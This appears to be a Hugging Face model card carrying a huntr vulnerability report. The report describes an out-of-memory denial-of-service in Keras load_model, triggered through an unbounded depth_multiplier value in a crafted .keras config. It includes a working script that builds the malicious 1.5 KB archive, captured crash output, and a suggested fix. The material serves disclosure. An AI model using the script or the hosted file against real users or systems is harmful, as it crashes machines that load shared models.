Instructions to use EnigmaConsultant/huntr-poc-keras-depthwiseconv-depthmultiplier-alloc-oom with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use EnigmaConsultant/huntr-poc-keras-depthwiseconv-depthmultiplier-alloc-oom with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://EnigmaConsultant/huntr-poc-keras-depthwiseconv-depthmultiplier-alloc-oom") - Notebooks
- Google Colab
- Kaggle
# Available backend options are: "jax", "torch", "tensorflow".
import os
os.environ["KERAS_BACKEND"] = "jax"
import keras
model = keras.saving.load_model("hf://EnigmaConsultant/huntr-poc-keras-depthwiseconv-depthmultiplier-alloc-oom")
YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Keras β Unbounded build-time kernel allocation via attacker-controlled DepthwiseConv depth_multiplier in .keras config.json (load_model DoS/OOM)
Summary
keras.saving.load_model() on a crafted .keras archive triggers an unbounded, attacker-controlled memory allocation before any weight data is read. The allocation size is a linear function of a single integer (depth_multiplier) taken straight from the untrusted config.json, so a ~1.5 KB model file forces the victim process to attempt an arbitrarily large array allocation, resulting in MemoryError / OOM (denial of service).
- Target:
keras(PyPI), version 3.15.0 (Keras 3 native.kerasformat). - Vulnerable file:
keras/src/layers/convolutional/base_depthwise_conv.py - Affected layers:
DepthwiseConv1D,DepthwiseConv2D(both subclassBaseDepthwiseConv), andSeparableConv1D/SeparableConv2Dwhich reuse the same depthwise kernel allocation. - Class: CWE-789 (Memory Allocation with Excessive Size Value) / CWE-400 (Uncontrolled Resource Consumption).
- Attack vector: malicious model file loaded via
load_modelβ the standard huntr Model File Format threat model.
Root cause
The only validation applied to depth_multiplier is a positivity check in __init__ (line ~131):
if self.depth_multiplier is not None and self.depth_multiplier <= 0:
raise ValueError(
"Invalid value for argument `depth_multiplier`. Expected a "
"strictly positive value. Received "
f"depth_multiplier={self.depth_multiplier}."
)
Any large positive integer passes this guard. There is no upper bound and no product-overflow guard on the resulting element count.
In build() (line ~150), the kernel shape is derived directly from depth_multiplier and the input channel count, then materialized via add_weight(...):
def build(self, input_shape):
...
input_channel = input_shape[-1] # from build_config.input_shape (untrusted)
...
depthwise_shape = self.kernel_size + (
input_channel,
self.depth_multiplier, # from layer config (untrusted)
)
self.kernel = self.add_weight(
name="kernel",
shape=depthwise_shape,
initializer=self.depthwise_initializer,
...
)
Total element count = prod(kernel_size) * input_channel * depth_multiplier. Both depth_multiplier (layer config) and input_shape (build_config.input_shape) come straight from the attacker-controlled config.json inside the .keras zip archive.
During load_model, deserialization calls build_from_config, which invokes build(). The weight initializer materializes the full array in memory before any bytes are read from model.weights.h5. Therefore a tiny archive can force an enormous allocation β the file size is completely decoupled from the allocation size.
PoC
- Build a benign Sequential model with a single
DepthwiseConv2D(3, depth_multiplier=2)onInput((8,8,1))and save it asbenign_dw.keras(~11.8 KB). mk_evil_dw.pyre-packages the.keraszip, rewriting only theDepthwiseConv2Dlayer'sdepth_multiplierinconfig.jsonto a large value.metadata.jsonandmodel.weights.h5are copied byte-for-byte unchanged.- Resulting
evil_dw.kerasis 1528β1529 bytes. - Victim runs
keras.saving.load_model('evil_dw.keras')under an address-space capulimit -v 3000000(3 GiB).
mk_evil_dw.py (verbatim):
import zipfile, json, shutil, sys, os
src="benign_dw.keras"; dst="evil_dw.keras"
DM = int(sys.argv[1]) if len(sys.argv)>1 else 2_000_000_000
z=zipfile.ZipFile(src)
cfg=json.loads(z.read("config.json"))
meta=z.read("metadata.json")
wbytes=z.read("model.weights.h5")
# find depthwise layer
for L in cfg["config"]["layers"]:
if L["class_name"]=="DepthwiseConv2D":
L["config"]["depth_multiplier"]=DM
print("patched depth_multiplier ->", DM)
newcfg=json.dumps(cfg).encode()
with zipfile.ZipFile(dst,"w",zipfile.ZIP_DEFLATED) as o:
o.writestr("metadata.json", meta)
o.writestr("config.json", newcfg)
o.writestr("model.weights.h5", wbytes)
print("wrote", dst, os.path.getsize(dst),"bytes")
Captured evidence (verbatim)
Under ulimit -v 3000000 (3 GiB address-space cap), Keras 3.15.0:
patched depth_multiplier -> 2000000000
wrote evil_dw.keras 1528 bytes
=== LOAD ATTEMPT (ulimit 3GB) ===
EXC: numpy._core._exceptions.MemoryError
MSG: Unable to allocate 134. GiB for an array with shape (3, 3, 1, 2000000000) and data type float64
elapsed 0.0
=== NEGATIVE CONTROL: benign dm=2 loads ===
OK benign loaded: 20 params, layers ['DepthwiseConv2D']
=== confirm build size ===
SECOND-POINT MemoryError: Unable to allocate 33.5 GiB for an array with shape (3, 3, 1, 500000000) and data type float64
Observations:
depth_multiplier=2_000_000_000β attempt to allocate 134 GiB (shape(3, 3, 1, 2000000000)).depth_multiplier=500_000_000β attempt to allocate 33.5 GiB (shape(3, 3, 1, 500000000)).- Allocation scales linearly and predictably with the attacker's single integer (4Γ the multiplier β 4Γ the bytes), confirming full attacker control of allocation size.
- Negative control: the unmodified benign model (
depth_multiplier=2) loads successfully (20 params), proving the crash is caused solely by the attacker'sdepth_multiplieredit and not by archive corruption.
Impact
A victim who loads an untrusted .keras model β a routine operation for models shared on hubs/registries β suffers an immediate out-of-memory denial of service. The crash occurs during build() at load time, before weights are read, so no oversized weight file is needed to bypass any size heuristics. On systems without an address-space cap, the process (and potentially the host) can be driven into swap-thrash / OOM-killer territory.
Suggested fix
Bound the derived kernel element count (and/or the individual depth_multiplier / input_channel values) against a sane maximum in build() before calling add_weight, and reject configs whose declared parameter count is wildly inconsistent with the on-disk weight tensor shapes. Validating build_config.input_shape and layer hyperparameters against the actual weights in model.weights.h5 prior to materialization would close the "allocate-before-read" gap generically.
Dedup / prior work note
This is a distinct sink from previously reported Keras build-time allocation issues. The allocation-primitive family (attacker-controlled dimension in config.json β oversized add_weight during build_from_config) spans several independent layer parameters; this report covers specifically DepthwiseConv's depth_multiplier in base_depthwise_conv.py, which is not the sink in the Conv2D.filters, Embedding.input_dim, Dense, RNN units, MultiHeadAttention, or compile-metrics reports. The only pre-existing guard (depth_multiplier <= 0) does not bound the upper range. No CVE currently assigned to this specific parameter as of 2026-07-16.
- Downloads last month
- -
# Gated model: Login with a HF token with gated access permission hf auth login